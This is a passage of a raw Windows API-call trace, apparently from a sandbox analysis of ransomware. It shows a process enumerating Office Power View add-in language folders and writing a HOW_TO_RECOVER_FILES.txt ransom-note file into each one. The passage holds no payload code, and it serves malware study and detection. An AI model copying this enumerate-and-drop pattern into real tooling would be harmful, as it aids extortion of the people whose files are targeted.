nFileSizeLow=0x17040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.936] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.936] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb8dd674, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb8dd674, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.936] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14b330aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x515e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.kk.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.936] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.936] FindClose (in: hFindFile=0x134ab00 | out: hFindFile=0x134ab00) returned 1 [0223.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.937] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk", lpFilePart=0x0) returned 0x51 [0223.937] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ada0 [0223.938] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.938] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc34bb5b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc34bb5b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x14bf1c4b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.938] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae6f174, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.939] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.939] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb8dd674, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb8dd674, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.939] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14b330aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x515e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.kk.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.939] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14b330aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x515e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.kk.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0223.939] FindClose (in: hFindFile=0x134ada0 | out: hFindFile=0x134ada0) returned 1 [0223.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.940] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0223.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0223.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\kk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0223.941] GetFileType (hFile=0x630) returned 0x1 [0223.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0223.941] GetFileType (hFile=0x630) returned 0x1 [0223.942] WriteFile (in: hFile=0x630, lpBuffer=0x3539e88*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3539e88*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0223.943] CloseHandle (hObject=0x630) returned 1 [0223.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.943] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko", lpFilePart=0x0) returned 0x51 [0223.943] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b4c0 [0223.944] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.944] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc18a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.944] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a04f26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.944] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b15891, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.945] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5e43de4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.945] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14ac0994, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14bcb9e3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4eec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ko.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.945] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.945] FindClose (in: hFindFile=0x134b4c0 | out: hFindFile=0x134b4c0) returned 1 [0223.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.946] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko", lpFilePart=0x0) returned 0x51 [0223.946] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a680 [0223.947] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.947] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc18a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.947] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a04f26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.947] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b15891, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.947] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5e43de4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.948] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14ac0994, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14bcb9e3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4eec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ko.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.948] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14ac0994, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14bcb9e3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4eec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ko.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0223.948] FindClose (in: hFindFile=0x134a680 | out: hFindFile=0x134a680) returned 1 [0224.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0224.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0224.324] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0224.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0224.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ko\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0224.325] GetFileType (hFile=0x630) returned 0x1 [0224.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0224.325] GetFileType (hFile=0x630) returned 0x1 [0224.326] WriteFile (in: hFile=0x630, lpBuffer=0x36280c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x36280c0*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0224.327] CloseHandle (hObject=0x630) returned 1 [0224.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0224.327] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt", lpFilePart=0x0) returned 0x51 [0224.327] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b040 [0224.328] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.328] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb6089d0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb6089d0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x152f2ade, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc42c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0224.328] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5101cbd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0224.328] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9992797, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9992797, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9992797, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0224.329] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7b78b8d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7b78b8d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b9ee02, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4918, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0224.329] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x152a6704, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, 